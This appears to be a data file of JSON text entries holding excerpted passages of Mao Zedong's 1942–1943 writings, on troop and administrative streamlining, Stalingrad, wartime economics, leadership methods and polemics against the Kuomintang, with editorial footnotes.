    {"text": "这种情况，整个反法西斯各国在目前阶段上都是有的，整个中国也是有的，不独八路军新四军的各个根据地为然，但是尤以我军的各个根据地表现得特别尖锐。"},
    {"text": "各抗日根据地的全体同志必须认识，今后的物质困难必然更甚于目前，我们必须克服这个困难，我们的重要的办法之一就是精兵简政。 精兵简政何以是克服物质困难的一个重要的政策呢？"},
    {"text": "〔1〕 精兵简政，是一九四一年十一月李鼎铭等在陕甘宁边区第二届参议会上提出的。 同年十二月，中共中央发出“精兵简政”的指示，要求切实整顿党、政、军各级组织机构，精简机关，充实连队，加强基层，提高效能，节约人力物力。"},
    {"text": "第二次世界大战的转折点 第二次世界大战的转折点 * （一九四二年十月十二日） 斯大林格勒之战，英美报纸比之为凡尔登战役，“红色凡尔登”之名已传遍于世界。"},
    {"text": "在人类历史上，凡属将要灭亡的反动势力，总是要向革命势力进行最后挣扎的，而有些革命的人们也往往在一个期间内被这种外强中干的现象所迷惑，看不出敌人快要消灭，自己快要胜利的实质。"},
    {"text": "自从八月二十三日德军全部渡过顿河河曲，全面地开始攻击斯大林格勒，九月十五日德军一部打入该城西北部工业区，至十月九日苏联情报局宣布红军突破该区德军包围线为止，共计进行了四十八天人类历史上无与伦比的空前苦战。"},
    {"text": "在此期间，希特勒撤消了他的前线总司令勃鲁齐区，自己充任总司令，决定放弃全面的进攻计划，搜索欧洲全力，准备向南线作局部的但被认为是打击苏联要害的最后进攻。"},
    {"text": "他企图迅速攻下两处，达到切断伏尔加和夺取巴库两个目的，然后北攻莫斯科，南出波斯湾，并令日本法西斯集中兵力于满洲，准备在斯大林格勒攻下后进攻西伯利亚。"},
    {"text": "希特勒妄想把苏联力量削弱到足以使德军主力从苏联战场上解脱出来，以便移到西线对付英美的进攻，并可掠取近东资源，打通德日联系，同时，日军主力也可从北面解脱出来，以便西进南进对付我国和英美，而无后顾之忧，这样来争取法西斯阵线的胜利。"},
    {"text": "五个月的战争，使德军既没有打进高加索油田，也没有打下斯大林格勒，迫使希特勒顿兵于高山与坚城之下，欲进不能，欲退不得，损失甚大，陷于僵局。"},
    {"text": "拿希特勒在第一阶段上的情况和第三阶段作比较，就可知希特勒是处在最后失败的门口了。 目前红军在斯大林格勒和高加索两方面，实际上均已停止了德军的进攻，希特勒已到再衰三竭之时，他对斯大林格勒、高加索两处的进攻已经失败。"},
    {"text": "他或者还可能搜索他的一点残余力量装备出几个新的师团，此外则乞援于意、罗、匈三国法西斯伙伴，向他们勒索一些炮灰，以应付东西两线的危局。"},
    {"text": "但是，他在东线须应付冬季战争的极大消耗，他在西线须准备对付第二条战线，而意、罗、匈等国则将在希特勒大势已去的这种悲观情绪中，一天一天变成离心离德。"},
    {"text": "其不同点，则在莫斯科保卫战之后，虽然接着举行了冬季反攻，可是还要遭到今年德军的一个夏季进攻，这是因为一则德国及其欧洲伙伴尚有余勇可贾，二则英美拖延开辟第二条战线的缘故。"},
    {"text": "一方面苏联将举行极大规模的第二个冬季反攻，英美对第二条战线的开辟将无可拖延（虽然具体时间仍不能计算），欧洲人民也将准备着起义响应。"},
    {"text": "希特勒还有一个内部战线，就是德国、法国及欧洲其他部分正在酝酿着的一个伟大的人民起义，只待苏联举行全面反攻和第二条战线炮响，他们将以第三条战线出来响应。"},
    {"text": "祝十月革命二十五周年 祝十月革命二十五周年 （一九四二年十一月六日） 我们以最大的乐观来庆祝今年的十月革命节。我坚信，今年的十月革命节不但是苏德战争的转折点，而且是全世界反法西斯阵线战胜法西斯阵线的转折点。 在过去时期内，因为红军单独抵抗法西斯德国及其欧洲伙伴，希特勒还能继续进攻，希特勒还没有被打败。现在，苏联的力量已经在战争中壮大起来了，希特勒的第二个夏季攻势已经破产了。从此以后，世界反法西斯阵线的任务，就是发动对法西斯阵线的进攻，最后地打败法西斯。 斯大林格勒的红军战士做出了有关全人类命运的英雄事业。他们是十月革命的儿女。十月革命的旗帜是不可战胜的，而一切法西斯势力则必归于消灭。 我们中国人民庆祝红军的胜利，同时也即是庆祝自己的胜利。我们的抗日战争已经进行五年多了，我们的前途虽然还有艰苦，但是胜利的曙光已经看得见了。战胜日本法西斯不但是确定的，而且是不远的了。 一切努力集中于打击日本法西斯，这就是中国人民的任务。"},
    {"text": "抗日时期的经济问题和财政问题 抗日时期的经济问题和财政问题 * （一九四二年十二月） 发展经济，保障供给，是我们的经济工作和财政工作的总方针。"},
    {"text": "军队和机关学校所发展的这种自给经济是目前这种特殊条件下的特殊产物，它在其他历史条件下是不合理的和不可理解的，但在目前却是完全合理并且完全必要的。"},
    {"text": "为了抗日和建国的需要，人民是应该负担的，人民很知道这种必要性。 在公家极端困难时，要人民多负担一点，也是必要的，也得到人民的谅解。"},
    {"text": "这就是对人民的农业、畜牧业、手工业、盐业和商业，采取帮助其发展的适当步骤和办法，使人民有所失同时又有所得，并且使所得大于所失，才能支持长期的抗日战争。"},
    {"text": "反过来，人民负担虽然一时有些重，但是战胜了政府和军队的难关，支持了抗日战争，打败了敌人，人民就有好日子过，这个才是革命政府的大仁政。"},
    {"text": "如果我们的公营经济在一九四三年和一九四四年两年内是继续发展的，如果我们在陕甘宁边区的军队在这两年内获得全部或大部屯田的机会，那末，在两年以后，人民负担又可减轻了，民力又可得到休养了。"},
    {"text": "现在华北华中各根据地的困难，比陕甘宁边区要大得多，那里天天有严重的战争，那里已经支持了五年半，那里也一定能够继续支持，直到胜利。"},
    {"text": "经济和财政工作机构中的不统一、闹独立性、各自为政等恶劣现象，必须克服，而建立统一的、指挥如意的、使政策和制度能贯彻到底的工作系统。"},
    {"text": "从事经济和财政业务的工作人员，还必须克服存在着的有些还是很严重的官僚主义，例如贪污现象，摆空架子，无益的“正规化”，文牍主义等等。"},
    {"text": "如果我们把这五项要求在党的、政府的、军队的各个系统中完全实行起来，那我们的这次精兵简政，就算达到了目的，我们的困难就一定能克服，那些笑我们会要“塌台”的人们的嘴巴也就可以被我们封住了。"},
    {"text": "毛泽东指出党必须努力领导人民发展农业生产和其他生产事业，并号召根据地的机关、学校、部队尽可能地实行生产自给，以便克服财政和经济的困难。 毛泽东的《经济问题与财政问题》一书，以及《开展根据地的减租、生产和拥政爱民运动》、《组织起来》等文，就是当时中国共产党领导根据地生产运动的基本纲领。 在《经济问题与财政问题》一书里，毛泽东着重地批判了那种离开发展经济而单纯在财政收支问题上打主意的错误思想，和那种不注意动员人民帮助人民发展生产渡过困难而只注意向人民要东西的错误作风，提出了党的“发展经济，保障供给”的正确方针。 在这个方针之下发展起来的陕甘宁边区和敌后各抗日根据地的生产运动，得到了巨大的成绩，不但使根据地军民胜利地渡过了抗日战争的最困难时期，而且给中国共产党在后来对于经济建设工作的领导积累了丰富的经验。"},
    {"text": "关于领导方法的若干问题 关于领导方法的若干问题 * （一九四三年六月一日） （一）我们共产党人无论进行何项工作，有两个方法是必须采用的，一是一般和个别相结合，二是领导和群众相结合。"},
    {"text": "（二）任何工作任务，如果没有一般的普遍的号召，就不能动员广大群众行动起来。 但如果只限于一般号召，而领导人员没有具体地直接地从若干组织将所号召的工作深入实施，突破一点，取得经验，然后利用这种经验去指导其他单位，就无法考验自己提出的一般号召是否正确，也无法充实一般号召的内容，就有使一般号召归于落空的危险。 例如一九四二年的各地整风，凡有成绩者，都是采用了一般号召和个别指导相结合的方法；"},
    {"text": "一九四三年的整风，各中央局、中央分局、区党委和地委，除提出一般号召（全年整风计划）外，必须在自己机关中和附近机关、学校、部队中，选择二、三单位（不要很多），深入研究，详细了解整风学习在这些单位的发展过程，详细了解这些单位中若干个（也不要很多）有代表性的工作人员的政治经历、思想特点、学习勤惰和工作优劣，并亲自指导这些单位的负责人具体地解决各该单位的实际问题，借以取得经验。"},
    {"text": "（三）一九四二年的整风经验又证明：每一单位的整风，必须在整风过程中形成一个以该单位的首要负责人为核心的少数积极分子的领导骨干，并使这一领导骨干和参加学习的广大群众密切结合，才能使整风完成任务。"},
    {"text": "只有领导骨干的积极性，而无广大群众的积极性相结合，便将成为少数人的空忙。 但如果只有广大群众的积极性，而无有力的领导骨干去恰当地组织群众的积极性，则群众积极性既不可能持久，也不可能走向正确的方向和提到高级的程度。"},
    {"text": "故领导者必须善于团结少数积极分子作为领导的骨干，并凭借这批骨干去提高中间分子，争取落后分子。 凡属真正团结一致、联系群众的领导骨干，必须是从群众斗争中逐渐形成，而不是脱离群众斗争所能形成的。"},
    {"text": "一个百人的学校，如果没有一个从教员中、职员中、学生中按照实际形成的（不是勉强凑集的）最积极最正派最机敏的几个人乃至十几个人的领导骨干，这个学校就一定办不好。"},
    {"text": "斯大林论党的布尔什维克化的十二个条件的第九条中所说建立领导核心问题 〔1〕 ，我们应该应用到一切大小机关、学校、部队、工厂和农村中去。"},
    {"text": "无论是执行战争、生产、教育（包括整风）等中心任务，或是执行检查工作、审查干部和其他工作，除采取一般号召和个别指导相结合的方法以外，都须采取领导骨干和广大群众相结合的方法。"},
    {"text": "这就是说，将群众的意见（分散的无系统的意见）集中起来（经过研究，化为集中的系统的意见），又到群众中去作宣传解释，化为群众的意见，使群众坚持下去，见之于行动，并在群众行动中考验这些意见是否正确。"},
    {"text": "（五）领导骨干和广大群众在组织中在斗争行动中发生正确关系的思想，正确的领导意见只能从群众中集中起来又到群众中坚持下去的思想，在领导意见见之实行时要将一般号召和个别指导互相结合的思想，都必须在这次整风中普遍地加以宣传，借以纠正干部中在这个问题上的错误观点。 许多同志，不注重和不善于团结积极分子组成领导核心，不注重和不善于使这种领导核心同广大群众密切地结合起来，因而使自己的领导变成脱离群众的官僚主义的领导。 许多同志，不注重和不善于总结群众斗争的经验，而欢喜主观主义地自作聪明地发表许多意见，因而使自己的意见变成不切实际的空论。 许多同志，满足于工作任务的一般号召，不注重和不善于在作了一般号召之后，紧紧地接着从事于个别的具体的指导，因而使自己的号召停止在嘴上、纸上或会议上，而变为官僚主义的领导。 这次整风，必须纠正这些缺点，在整风学习、检查工作、审查干部中学会领导和群众相结合、一般和个别相结合的方法，并在以后应用此种方法于一切工作。"},
    {"text": "（六）从群众中集中起来又到群众中坚持下去，以形成正确的领导意见，这是基本的领导方法。 在集中和坚持过程中，必须采取一般号召和个别指导相结合的方法，这是前一个方法的组成部分。 从许多个别指导中形成一般意见（一般号召），又拿这一般意见到许多个别单位中去考验（不但自己这样做，而且告诉别人也这样做），然后集中新的经验（总结经验），做成新的指示去普遍地指导群众。"},
    {"text": "（七）对于任何工作任务（革命战争、生产、教育，或整风学习、检查工作、审查干部，或宣传工作、组织工作、锄奸工作等等）的向下传达，上级领导机关及其个别部门都应当通过有关该项工作的下级机关的主要负责人，使他们负起责任来，达到分工而又统一的目的（一元化）。 不应当只是由上级的个别部门去找下级的个别部门（例如上级组织部只找下级的组织部，上级宣传部只找下级的宣传部，上级锄奸部只找下级的锄奸部），而使下级机关的总负责人（例如书记、主席、主任、校长等）不知道，或不负责。"},
    {"text": "这样分工而又统一的一元化的方法，使一件工作经过总负责人推动很多干部、有时甚至是全体人员去做，可以克服各单个部门干部不足的缺点，而使许多人都变为积极参加该项工作的干部。"},
    {"text": "如果通过某一机关或某一学校的行政负责人，推动该机关该学校的许多人员、许多学生，有时甚至是全体人员、全体学生都参加审查，而上级组织部的领导人员则正确地指导这种审查，实行领导和群众相结合的原则，审查干部的目的就一定能完满地达到。"},
    {"text": "而不是自己全无计划，只按上级指示来一件做一件，形成很多的“中心工作”和凌乱无秩序的状态。 上级机关也不要不分轻重缓急地没有中心地同时指定下级机关做很多项工作，以致引起下级在工作步骤上的凌乱，而得不到确定的结果。"},
    {"text": "领导人员依照每一具体地区的历史条件和环境条件，统筹全局，正确地决定每一时期的工作重心和工作秩序，并把这种决定坚持地贯彻下去，务必得到一定的结果，这是一种领导艺术。"},
    {"text": "这也是在运用领导和群众相结合、一般和个别相结合这些原则时，必须注意解决的领导方法问题。 （九）领导方法问题上的各个细节问题，这里不一一说到，希望各地同志根据这里所说的原则方针自己去用心思索，发扬自己的创造力。 斗争愈是艰苦，就愈是需要共产党人的领导和广大群众的要求密切地相结合，愈是需要共产党人的一般号召和个别指导密切地相结合，而彻底粉碎主观主义的和官僚主义的领导方法。 我党一切领导同志必须随时拿马克思主义的科学的领导方法去同主观主义的和官僚主义的领导方法相对立，而以前者去克服后者。"},
    {"text": "〔2〕 见季米特洛夫一九三五年八月十三日在共产国际第七次代表大会上所作的结论《为工人阶级团结一致反对法西斯主义而斗争》的第七部分《干部问题》。"},
    {"text": "质问国民党 质问国民党 * （一九四三年七月十二日） 近月以来，中国抗日阵营内部，发生了一个很不经常很可骇怪的事实，这就是中国国民党领导的许多党政军机关发动了一个破坏团结抗战的运动。"},
    {"text": "不料近日却发生了这样的变化，即担任河防的第一、第十六、第九十等三个军中，开动了两个军，第一军开到彬县、淳化一带，第九十军开到洛川一带，并积极准备进攻边区，而使对付日寇的河防，大部分空虚起来。"},
    {"text": "如果你们将大段的河防丢弃不管，而日本人却仍然静悄悄地在对岸望着不动，只是拿着望远镜兴高采烈地注视着你们愈走愈远的背影，那末，这其中又是一种什么缘故呢？ 为什么日本人这样欢喜你们的背，而你们丢了河防不管，让它大段地空着，你们的心就那么放得下去呢？"},
    {"text": "照你们的说法，“破坏团结”的也是共产党，你们则是如何如何的“精诚团结”主义者，那末，你们以三个集团军（缺一个军）的大兵，手持刺刀，配以重炮，向着边区人民前进，这也可以算作“精诚团结”吗？"},
    {"text": "如果事变的结果，只是你们旗开得胜地“统一”了边区，削平了共产党，而日本人却被你们的什么“蒙汗药”蒙住了，或被什么“定身法”定住了，动弹不得，因此民族以及你们都不曾被他们“统一”了去，那末，我们的亲爱的国民党先生们，可否把你们的这种什么“蒙汗药”或“定身法”给我们宣示一二呢？"},
    {"text": "假如你们也没有什么对付日本人的“蒙汗药”、“定身法”，又没有和日本人订立默契，那就让我们正式告诉你们吧：你们不应该打边区，你们不可以打边区。"},
    {"text": "即如中华民国三十二年，亦即公历一九四三年，七月六日，抗战六周年纪念的前夕，中国国民党的中央通讯社，发出了这样一个消息，说是陕西省的西安地方，有些什么“文化团体”开了一个会，决定打电报给毛泽东，叫他趁着第三国际 〔1〕 解散的时机，将中国共产党也“解散”，还有一条是“取消边区割据”。"},
    {"text": "它受了特务总队部（即“国民政府军事委员会调查统计局”和“中国国民党中央执行委员会调查统计局”）的指令，叫一个以在国民党出钱的汉奸刊物《抗战与文化》上写反共文章出名、现充西安劳动营训导处长的托派汉奸张涤非，于六月十二日那天，就是说还在中央社发表消息这天以前二十五天，就召集了九个人开了十分钟的会，“通过”了一纸所谓电文。"},
    {"text": "这个电文，延安到今天还没有收到，但其内容已经明白，据说是第三国际既已解散，中国共产党也应“解散”，还有“马列主义已经破产”云云。"},
    {"text": "我们的亲爱的国民党先生们，你们在第三国际解散之后所忙得不可开交的，单单就在于图谋“解散”共产党，但是偏偏不肯多少用些力量去解散若干汉奸党和日本党，这是什么缘故呢？"},
    {"text": "国民党先生们，让我们不厌麻烦地告诉你们吧：日本人和汪精卫之所以特别爱好国民党和三民主义者，就是因为这个党这个主义当中有可以给他们利用的地方。"},
    {"text": "这个党在第一次世界大战后，只有在一九二四年至一九二七年时期，孙中山先生把它改组了，把共产党人接受进去，形成了国共合作式的民族联盟，才被一切帝国主义者和汉奸们所痛恨，所不敢爱好，所极力图谋打倒。 这个主义，也只有在同一时期，经过孙中山的手加以改造，成为载在《中国国民党第一次全国代表大会宣言》中的三民主义，即革命的三民主义，才被一切帝国主义者和汉奸们所痛恨，所不敢爱好，所极力图谋打倒。 除此而外，这个党，这个主义，在排除了共产党、排除了孙中山革命精神的条件下，就受到一切帝国主义者和汉奸们的爱好，因此日本法西斯和汉奸汪精卫也爱好起来，如获至宝地加以养育，加以扶植。"},
    {"text": "当你们指示张涤非写电文时，所以绝对不肯在要求“解散”共产党之外附带说一句还有日本党和汉奸党也值得解散者，是由于不论在思想上，在政策上，在组织上，你们和他们之间，都有许多共同的地方，其中最基本的共同思想，就是反共反人民。"},
    {"text": "我们的亲爱的国民党先生们，你们指示张涤非写电文时，何以对于这样许多像瘟疫一样、像臭虫一样、像狗屎一样的所谓“主义”，连一个附笔或一个但书也没有呢？"},
    {"text": "老实说吧，我们很疑心你们同那些日本党、汉奸党互相勾结，所以如此和他们一个鼻孔出气，所以说出的一些话，做出的一些事，如此和敌人汉奸一模一样，毫无二致，毫无区别。"},
    {"text": "敌人汉奸要解散新四军，你们就解散新四军； 敌人汉奸要解散共产党，你们也要解散共产党； 敌人汉奸要取消边区，你们也要取消边区； 敌人汉奸不希望你们保卫河防，你们就丢弃河防；"},
    {"text": "敌人汉奸反共，你们也反共； 敌人汉奸痛骂共产主义和自由主义 〔4〕 ，你们也痛骂共产主义和自由主义； 敌人汉奸捉了共产党员强迫他们登报自首，你们也是捉了共产党员强迫他们登报自首； 敌人汉奸派遣反革命特务分子偷偷摸摸地钻入共产党、八路军、新四军内施行破坏工作，你们也派遣反革命特务分子偷偷摸摸地钻入共产党、八路军、新四军内施行破坏工作。"},
    {"text": "你们的这样许多言论行动，既然和敌人汉奸的所有这些言论行动一模一样，毫无二致，毫无区别，怎么能够不使人们疑心你们和敌人汉奸互相勾结，或订立了某种默契呢？"},
    {"text": "〔4〕 毛泽东这里是指蒋介石在一九四三年三月发表的《中国之命运》一书中，大肆攻击共产党、共产主义和自由主义，竭力宣扬买办的封建的法西斯主义。"},
    {"text": "开展根据地的减租、生产和拥政爱民运动 开展根据地的减租、生产 和拥政爱民运动 * （一九四三年十月一日） （一）秋收已到，各根据地的领导机关必须责成各级党政机关检查减租政策的实行情况。"},
    {"text": "（二）敌后各根据地的大多数干部，还没有学会推动党政机关人员、军队人员和人民群众（一切公私军民男女老少，绝无例外）实行大规模的生产。 党委、政府和军队，必须于今年秋冬准备好明年在全根据地内实行自己动手、克服困难（除陕甘宁边区外，暂不提丰衣足食口号）的大规模生产运动，包括公私农业、工业、手工业、运输业、畜牧业和商业，而以农业为主体。 实行按家计划，劳动互助（陕北称变工队 〔1〕 ，过去江西红色区域称耕田队或劳动互助社 〔2〕 ），奖励劳动英雄，举行生产竞赛，发展为群众服务的合作社。"},
    {"text": "除各大小单位应一律发展集体生产外，同时奖励一切个人（军队除外）从事小部分农业和手工业的个人业余生产（禁止做生意），以其收入归个人所有。"},
    {"text": "不注重组织党政军群众和人民群众的广大劳动力，以开展群众生产运动，只片面地注意少数政府人员忙于收粮收税弄钱弄饭的观点，是错误的。 不知用全力帮助群众发展生产，只知向群众要粮要款的观点（国民党观点），是错误的。 不注意全面地发动群众生产运动，只注意片面地以少数经济机关组织少数人从事生产的观点，是错误的。 把共产党员为着供给家庭生活（农村党员）和改善自己生活（机关学校党员）以利革命事业，而从事家庭生产和个人业余生产，认为不光荣不道德的观点，是错误的。 在有根据地的条件下，不提倡发展生产并在发展生产的条件下为改善物质生活而斗争，只是片面地提倡艰苦奋斗的观点，是错误的。"},
    {"text": "不把陕甘宁边区一些农业劳动英雄的模范劳动方法（劳动互助，多犁多锄多上粪）推行于各地，而说这些方法不能在某些根据地推行的观点，是错误的。 不在生产运动中实行首长负责，自己动手，领导骨干和广大群众相结合，一般号召和个别指导相结合，调查研究，分别缓急轻重，争取男女老幼和游民分子一律参加生产，培养干部，教育群众，只知把生产任务推给建设厅长、供给部长、总务处长的观点，是错误的。"},
    {"text": "每一根据地，组织几万党政军的劳动力和几十万人民的劳动力（取按家计划、变工队、运输队、互助社、合作社等形式，在自愿和等价的原则下，把劳动力和半劳动力组织起来）以从事生产，即在现时战争情况下，都是可能的和完全必要的。"},
    {"text": "（三）为了使党政军和人民打成一片，以利于开展明年的对敌斗争和生产运动，各根据地党委和军政领导机关，应准备于明年阴历正月普遍地、无例外地举行一次拥政爱民和拥军优抗 〔3〕 的广大规模的群众运动。"},
    {"text": "军队方面，重新宣布拥政爱民公约，自己开检讨会，召集居民开联欢会（当地党政参加），有损害群众利益者，实行赔偿、道歉。 群众方面，由当地党政和群众团体领导，重新宣布拥军优抗公约，举行热烈的劳军运动。 在拥政爱民和拥军优抗的运动中，彻底检查军队方面和党政方面各自在一九四三年的缺点错误，而于一九四四年坚决改正之。 以后应于每年正月普遍举行一次，再三再四地宣读拥政爱民公约和拥军优抗公约，再三再四地将各根据地曾经发生的军队欺压党政民和党政民关心军队不足的缺点错误，实行公开的群众性的自我批评（各方面只批评自己，不批评对方），而彻底改正之。"},
    {"text": "〔3〕 拥政爱民，是抗日根据地的军队人员“拥护政府、爱护人民”的口号的简称。 拥军优抗，是抗日根据地的党政机关、群众团体的工作人员和人民群众“拥护军队、优待抗日军人家属”的口号的简称。"},
    {"text": "评国民党十一中全会和三届二次国民参政会 评国民党十一中全会 和三届二次国民参政会 * （一九四三年十月五日） 九月六日至十三日国民党召集了十一中全会，九月十八日至二十七日国民党政府召集了三届二次国民参政会，两个会议的全部材料现已收齐，我们可以作一总评。"},
    {"text": "惧的是三个法西斯国家一齐垮台，世界成了自有人类历史以来未曾有过的伟大解放时代，国民党的买办封建法西斯独裁政治，成了世界自由民主汪洋大海中一个渺小的孤岛，他们惧怕自己“一个党，一个主义，一个领袖”的法西斯主义有灭顶之灾。"},
    {"text": "本来，国民党人的主意是叫苏联独力去拚希特勒，并挑起日寇去攻苏联，把个社会主义国家拚死或拚坏，叫英美不要在欧洲闹什么第二第三战场，而把全力搬到东方先把日本打垮，再把中国共产党打掉，然后再说其他。"},
    {"text": "今年八月魁北克会议 〔1〕 的末尾，罗斯福和丘吉尔叫了国民党政府外交部长宋子文去，讲了几句话，国民党人又嚷“罗丘视线移到东方了，先欧后亚计划改变了”，以及“魁北克会议是英美中三强会议”之类，还要自卖自夸地乐一阵。"},
    {"text": "”这是他们在国民党十一中全会上听了蒋介石先生所谓共产党问题“为一个政治问题，应用政治方法解决”的演说，和全会作了与蒋所说大体相同的决议之后说的话。"},
    {"text": "只要你们内战一开，你们就只能一心一意打内战，什么“一面抗战”必然抛到九霄云外，结果必然要同日本帝国主义订立无条件投降的条约，只能有一个“降”字方针。"},
    {"text": "国民党中一切不愿意真正投降的人们，只要你们积极地发动了或参加了内战，你们就不可避免地要变为投降主义者。 如果你们听信投降派的策动，把国民党十一中全会的决议和参政会的决议当作动员舆论、准备发动反共内战的工具，其结果必然要走到此种地步。 即使自己本来不愿意投降，但若听信了投降派的策动，采取了错误的步骤，结果就只好跟着投降派投降。"},
    {"text": "在投降派看来，“政治解决”和“准备实行宪政”，正是准备内战亦即准备投降的最好的掩眼法，一切共产党人、爱国的国民党人、各个抗日党派和一切抗日同胞，都要睁起眼睛注视这个极端严重的时局，不要被投降派的掩眼法弄昏了头脑。"},
    {"text": "这些人们是可能采取此种方向的，那是因为他们看见国际大变化不可避免，看见日本帝国主义必然要失败，看见内战就是投降，看见国内人心拥护抗日、反对内战，看见国民党脱离群众、丧失人心、自己已处于从来未有的孤立地位这种严重的危机，看见美国、英国、苏联一致反对中国政府发动内战，因此迫得他们把内战阴谋推迟下去，而以“政治解决”和“准备实行宪政”的空话，作为拖下去的工具。"},
    {"text": "只是他们还想打着抗日的招牌，还不愿丧失国民党的国际地位，有时也还顾虑到国际国内的舆论指摘，所以他们可能暂时地拖一下，而以“政治解决”和“准备实行宪政”作为拖一下的幌子，等待将来的有利条件。"},
    {"text": "去年国民党十中全会前，共产党中央派了林彪同志去重庆会见蒋介石先生，在重庆等候了十个月之久，但是蒋先生和国民党中央连一个具体问题也不愿意谈。"},
    {"text": "今年三月，蒋先生发表《中国之命运》一书，强调反对共产主义和自由主义，把十年内战的责任推在共产党身上，污蔑共产党、八路军、新四军为“新式军阀”、“新式割据”，暗示两年内一定要解决共产党。"},
    {"text": "今年六月二十八日，蒋先生允许周恩来、林彪等同志回延安 〔4〕 ，但他就在这时下令调动河防兵力向边区前进，下令叫全国各地以“民众团体”之名，乘第三国际 〔5〕 解散机会，要求解散中国共产党。"},
    {"text": "太平洋战争爆发亦已两年，国民党即在华中华北打了共产党两年，除原有国民党军队外，又复派遣王仲廉、李仙洲两个集团军到江苏、山东打共产党。"},
    {"text": "国民党毫无理由地解散了英勇抗日的新四军，歼灭新四军皖南部队九千余人，逮捕叶挺，打死项英，囚系新四军干部数百人，这是背叛人民、背叛民族的滔天罪行，我们除向国民党提出抗议和善后条件外，仍然相忍为国。"},
    {"text": "陕甘宁边区是一九三七年六、七月间共产党代表周恩来同志和蒋介石先生在庐山会见时，经蒋先生允许发布命令、委任官吏、作为国民政府行政院直辖行政区域的。"},
    {"text": "总之，凡干这些事的国民党人，是把共产党当作敌人看待的。 在国民党看来，共产党是比日本人更加十倍百倍地可恨的。 国民党把最大的仇恨集中在共产党；"},
    {"text": "日本法西斯把最大的仇恨集中在中国共产党，对于国民党则一天一天地心平气和了，“反共”、“灭党”两个口号，于今只剩下一个“反共”了。"},
    {"text": "日本帝国主义看见蒋先生和国民党只对共产党提出所谓“军令政令”和“纪律”，但对二十个投敌的国民党中委，五十八个投敌的国民党将领，却不愿也不敢提出军令政令和纪律问题，这叫日本帝国主义如何不轻视国民党呢！ 在全国人民和全世界友邦面前，只看见蒋先生和国民党解散新四军，进攻八路军，包围边区，诬之为“奸党”、“奸军”、“新式军阀”、“新式割据”，诬之为“破坏抗战”、“危害国家”，经常不断地提出所谓“军令政令”和“纪律”，而对于二十个投敌的国民党中委，五十八个投敌的国民党将领，却不执行任何的军令政令，不执行任何的纪律处分。 即在此次十一中全会和国民参政会，也是依然只有对付共产党的决议，没有任何一件对付国民党自己大批叛国投敌的中央委员和大批叛国投敌的军事将领的决议，这叫全国人民和全世界友邦又如何看待国民党呢！"},
    {"text": "但据国民党多年来一贯的政治路线看来，我们认为这不过是一堆骗人的空话，而其实是为着准备打内战和永不放弃反人民的独裁政治这一目的，争取其所必要的时间。"},
    {"text": "那就是公平合理地用政治方式解决国共关系问题，诚意实行真正民主自由的宪政，废除“一个党，一个主义，一个领袖”的法西斯独裁政治，并在抗战期内召集真正民意选举的国民大会。"},
    {"text": "目前国际条件（欧洲法西斯总崩溃的前夜）是有利于中国抗日的，但投降派却更想在这时策动内战以便投降，日本人和汪精卫却更想在这时策动内战以利招降。"},
    {"text": "蒋介石先生在国民党十一中全会上宣称：“应宣明中央对于共产党并无其他任何要求，只望其放弃武装割据及停止其过去各地袭击国军破坏抗战之行为，并望其实践二十六年共赴国难之宣言，履行诺言中所举之四点。"},
    {"text": "第一次是在一九三九年冬季至一九四〇年春季，那时国民党军队袭占了陕甘宁边区八路军驻防的淳化、旬邑、正宁、宁县、镇原五城，并且使用了飞机。"},
    {"text": "先是何应钦白崇禧以《皓电》（一九四〇年十月十九日）送达朱、彭、叶、项，强迫命令黄河以南的八路军新四军限期一个月一律开赴黄河以北。"},
    {"text": "自此以后，华中华北一切有国民党军队存在的抗日根据地内，所有那里的八路军新四军无不遭受国民党军队的袭击，而八路军新四军则只是自卫。"},
    {"text": "动员了在国民参政会内占大多数的国民党员，接受何应钦污蔑八路军的军事报告，通过反共决议案，把一个表示团结抗日的国民参政会，变成了制造反共舆论准备国内战争的国民党御用机关，以至共产党参政员董必武同志不得不声明退席，以示抗议。"},
    {"text": "该宣言称：“为着取消敌人阴谋之借口，为着解除一切善意的怀疑者之误会，中国共产党中央委员会有披沥自己对于民族解放事业的赤忱之必要。"},
    {"text": "三、改组现在的红色政府为特区民主政府，以期全国政权之统一； 四、改变红军名义及番号，改编为国民革命军，受国民政府军事委员会之统辖，并待命出动，担任抗日前线之职责。"},
    {"text": "第一，所有陕甘宁边区和敌后各抗日根据地内共产党所施行的政策都符合于孙中山三民主义的政策，绝对没有任何一项政策是违背孙中山三民主义的。"},
    {"text": "第二，在国民党不投降民族敌人、不破裂国共合作、不发动反共内战的条件之下，我们始终遵守不以暴力政策推翻国民党政权和没收地主土地的诺言。"},
    {"text": "这就是说，仅仅在国民党投降敌人、破裂合作、举行内战的条件下，我们才被迫着无法继续实践自己的诺言，因而只有在这种条件下，我们才失去继续实践诺言的可能性。"},
    {"text": "第三，原来的红色政权还在抗战第一年就改组了，“三三制” 〔8〕 的民主政治也早已实现了，只是国民党至今没有实践他们承认陕甘宁边区的诺言，并且还骂我们做“封建割据”。 蒋介石先生及国民党人须知，陕甘宁边区和各抗日根据地这种不被国民党政府承认的状态，这种你们所谓“割据”，不是我们所愿意的，完全是你们迫得我们这样做的。"},
    {"text": "蒋介石先生以国民党总裁和国民党政府负责人的身份，在其自己的《中国之命运》一书中也是这样乱骂“割据”，自己不负一点责任，这有什么道理呢？"},
    {"text": "现在乘着蒋先生又在十一中全会上要求我们实践诺言的机会，我们就要求蒋先生实践这个诺言：采取法令手续，承认早已实现民权主义的陕甘宁边区，并承认敌后各抗日民主根据地。"},
    {"text": "第四，“红军名义及番号”早已改变了，早已“改编为国民革命军”了，早已“受国民政府军事委员会统辖”了，这条诺言早已实践了。 只有国民革命军新编第四军现在是直接受共产党中央统辖，不受国民政府军事委员会统辖，这是因为国民政府军事委员会于一九四一年一月十七日发表了一个破坏抗战危害国家的反革命命令，宣布该军为“叛军”而“解散”之，并使该军天天挨到国民党军队的袭击。 但是该军不但始终在华中抗日，而且始终实践四条诺言中第一至第三条诺言，并且愿意复受“国民政府军事委员会之统辖”，要求蒋先生取消解散命令，恢复该军番号，使该军获得实践第四条诺言之可能性。"},
    {"text": "国民党十一中全会关于共产党问题的文件除上述各点外，又称：“至于其他问题，本会议已决议于战争结束后一年内召集国民大会，制颁宪法，尽可于国民大会中提出讨论解决。"},
    {"text": "”所谓“其他问题”，就是取消国民党的独裁政治，取消法西斯特务机关，实行全国范围内的民主政治，取消妨碍民生的经济统制和苛捐杂税，实行全国范围内的减租减息的土地政策，和扶助中小工业、改善工人生活的经济政策。"},
